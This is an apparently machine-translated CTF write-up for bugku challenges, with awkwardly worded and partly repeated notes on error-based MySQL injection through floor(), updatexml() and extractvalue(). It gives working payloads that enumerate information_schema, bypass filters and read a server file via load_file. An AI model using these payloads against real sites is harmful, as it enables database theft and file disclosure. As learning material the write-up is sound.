エラーインジェクション
4527 ワード
誤報注入の知識を長期にわたって更新し、コード監査という本の10種類の誤報姿勢を突き止める.
これは不思議なログインインタフェースです-floor()エラー注入-bugku
原理:1番目と2番目
このテーマは...私に新しい姿勢を与えて、初めて本当の研究を間違えて注入しました.
問題テストは入力しやすい「エラーを報告してからエラー注入を行い、テストしたが、フィルタリングされなかった.
そしてfloor()のエラー注入を行います
1.開始姿勢:
ただし、limit 0,1操作が行われていないためsubquery returns more than 1 rowというエラーが発生します.このエラーは、エラーの戻り値が1行しかない場合によく発生します.
2.そして検索してみると、ポーズリンク
以上です.
今日の研究で学んだ
1. concat(0 x 7 e,(クエリ文),0 x 7 e)は,エラーメッセージの視聴を最適化することを意味する.0 x 7 eは~エラーを報告するとこう表示されます:~xxxx~xxxはクエリーされた情報です.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
複数回-updatexml()エラー注入-bugku
このテーマは2つのレベルに分かれていますが、最初のflagは偽物ですか?(初めて複数のflagの問題に遭遇)
第一関門:
私は実はとても愚かで、回现していないで、何を濾過したかを判断することができなくて、それから検索して、先辈たちの姿势を発见します:'^()^'异或の方法で判断します.
詳細については、以下を参照してください.https://www.cnblogs.com/nienie/p/8524519.html
注入はid=1'^(0)^'カッコの中の判断が偽物であればthere is nothing(つまりページが正常に戻る)
id=1'^(length('xxx')!=0)^'ページの戻りが正しければxxxがフィルタリングされたと言える.eg:order information中or注意!!!
その後、従来のインライン注入が行われる.
flag 1テーブルのaddressフィールドにアドレスがあり、2番目の関門に入ることができます.
2番目の関門:
エラーがあって、エコーがあって、テストフィルタリング:直接キーワードを入力すればいいです.
updatexm()のエラー注入を行い、姿勢は以下の通りです.
ただしfloor()を使用してエラー注入を行うとsubquery returns more than 1 rowは次のように返されます.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
エラー注入-3種類注入姿勢-bugku(本人は3種類の注入方式を試みたが、web問題をブラシした後、より多くの時間を試して更新する.)
ヒント「」をフィルタリングすると、少しぼんやりしていて、どうすればいいか分かりません.
ファイル/var/test/key_の読み込みを求める1.php、私もどのように操作するか分かりません.先輩たちの解法を見て、loadを使います.fileは読み取り、hex符号化して表示され、1行に32文字まで表示されるのでsubstrで切り取ります.以前はfloor()にこの制限はなかったような気がして、hex符号化も必要かどうか疑問に思ってみましたが、試してみると、以下の結果がありました.
3種類のプレイロードは以下の通りです.
結論:
1.extractvalueは切り取りもhex符号化も必要です.
2.updatexmlは切り取る必要がありますがhex符号化は必要ありませんので、一番便利です.
3.floorは切り取る必要があるが64ビットを表示することができ、以上の2つは32ビットを表示することができるが、floorの座の姿勢は比較的長い.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
これは不思議なログインインタフェースです-floor()エラー注入-bugku
原理:1番目と2番目
このテーマは...私に新しい姿勢を与えて、初めて本当の研究を間違えて注入しました.
問題テストは入力しやすい「エラーを報告してからエラー注入を行い、テストしたが、フィルタリングされなかった.
そしてfloor()のエラー注入を行います
1.開始姿勢:
1" and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,( ))x from information_schema.tables group by x )a)#
ただし、limit 0,1操作が行われていないためsubquery returns more than 1 rowというエラーが発生します.このエラーは、エラーの戻り値が1行しかない場合によく発生します.
2.そして検索してみると、ポーズリンク
:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema= LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
:1" and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x hex LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) #
:1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23, ,0x23) FROM limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
以上です.
今日の研究で学んだ
1. concat(0 x 7 e,(クエリ文),0 x 7 e)は,エラーメッセージの視聴を最適化することを意味する.0 x 7 eは~エラーを報告するとこう表示されます:~xxxx~xxxはクエリーされた情報です.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
複数回-updatexml()エラー注入-bugku
このテーマは2つのレベルに分かれていますが、最初のflagは偽物ですか?(初めて複数のflagの問題に遭遇)
第一関門:
私は実はとても愚かで、回现していないで、何を濾過したかを判断することができなくて、それから検索して、先辈たちの姿势を発见します:'^()^'异或の方法で判断します.
詳細については、以下を参照してください.https://www.cnblogs.com/nienie/p/8524519.html
注入はid=1'^(0)^'カッコの中の判断が偽物であればthere is nothing(つまりページが正常に戻る)
id=1'^(length('xxx')!=0)^'ページの戻りが正しければxxxがフィルタリングされたと言える.eg:order information中or注意!!!
その後、従来のインライン注入が行われる.
flag 1テーブルのaddressフィールドにアドレスがあり、2番目の関門に入ることができます.
2番目の関門:
エラーがあって、エコーがあって、テストフィルタリング:直接キーワードを入力すればいいです.
updatexm()のエラー注入を行い、姿勢は以下の通りです.
http://120.24.86.145:9004/Once_More.php?id=1' and (updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) %23
ただしfloor()を使用してエラー注入を行うとsubquery returns more than 1 rowは次のように返されます.
http://120.24.86.145:9004/Once_More.php?id=1' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x7e, ( select group_concat(table_name) from information_schema.tables where table_schema=database() ) , 0x7e )x from information_schema.tables group by x )a) %23
推測は、後続のfrom文がinformationからであるためである.schema.tablesクエリーは、クエリーの値が多いのでrowsが必要です.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
エラー注入-3種類注入姿勢-bugku(本人は3種類の注入方式を試みたが、web問題をブラシした後、より多くの時間を試して更新する.)
ヒント「」をフィルタリングすると、少しぼんやりしていて、どうすればいいか分かりません.
ファイル/var/test/key_の読み込みを求める1.php、私もどのように操作するか分かりません.先輩たちの解法を見て、loadを使います.fileは読み取り、hex符号化して表示され、1行に32文字まで表示されるのでsubstrで切り取ります.以前はfloor()にこの制限はなかったような気がして、hex符号化も必要かどうか疑問に思ってみましたが、試してみると、以下の結果がありました.
3種類のプレイロードは以下の通りです.
Extractvalue:http://103.238.227.13:10088/?id=1%0aand(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)
Updatexml:http://103.238.227.13:10088/?id=1%0Aand(updatexml(1,concat(0x7e,(substr(load_file(0x2f7661722f746573742f6b65795f312e706870),99,32)),0x7e),1))
Floor:http://103.238.227.13:10088/?id=1%0aand(select%0a1%0afrom(select%0acount(*),concat(floor(rand(0)*2),0x7e,(substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,80)),0x7e)x%0afrom%0ainformation_schema.tables%0agroup%0aby%0ax%0a)a)
結論:
1.extractvalueは切り取りもhex符号化も必要です.
2.updatexmlは切り取る必要がありますがhex符号化は必要ありませんので、一番便利です.
3.floorは切り取る必要があるが64ビットを表示することができ、以上の2つは32ビットを表示することができるが、floorの座の姿勢は比較的長い.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~